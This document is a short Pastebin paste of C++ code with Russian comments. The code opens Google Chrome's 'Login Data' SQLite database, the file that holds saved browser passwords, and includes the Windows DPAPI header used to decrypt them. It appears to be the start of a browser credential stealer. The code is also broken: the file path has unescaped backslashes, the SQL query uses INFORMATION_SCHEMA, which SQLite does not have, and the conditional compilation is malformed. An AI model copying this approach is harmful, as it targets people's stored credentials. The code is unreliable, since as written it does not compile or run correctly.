Gistrec

C++ SQLite3

May 8th, 2019
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.97 KB | None | 0 0
  1. #include "pch.h"
  2. #include <stdio.h>
  3. #include "sqlite3.h"
  4. #include <string>
  5. #include <dpapi.h>
  6. #include <stdlib.h>
  7. #include <windows.h>
  8. #pragma warning(disable: 4996)
  9. int main(int argc, char **argv) {
  10.     setlocale(LC_ALL, "RU");
  11.    
  12.     const char* fileDb = "C:\Users\Виндовс\AppData\Local\Google\Chrome\User Data\Default\Login Data";
  13.     const char* SQL = "SELECT * FROM INFORMATION_SCHEMA.TABLES"; //Запрос SQL
  14.     sqlite3 *db = 0; // хэндл объекта соединение к БД
  15.     char *err = 0;
  16.  
  17.     // открываем соединение
  18.     if (sqlite3_open(fileDb, &db))
  19.      #ifdef Debug
  20.         fprintf(stderr, "Ошибка открытия/создания БД: %s\n", sqlite3_errmsg(db));
  21.      #endif
  22.     // выполняем SQL
  23.     else if (sqlite3_exec(db, SQL, 0, 0, &err))
  24.     {
  25.         #ifdef Debug
  26.         fprintf(stderr, "Ошибка SQL: %sn", err);
  27.         #endif
  28.         sqlite3_free(err);
  29.     }
  30.  
  31.     // закрываем соединение
  32.     sqlite3_close(db);
  33.     return 0;
  34. }
Add Comment
Please, Sign In to add comment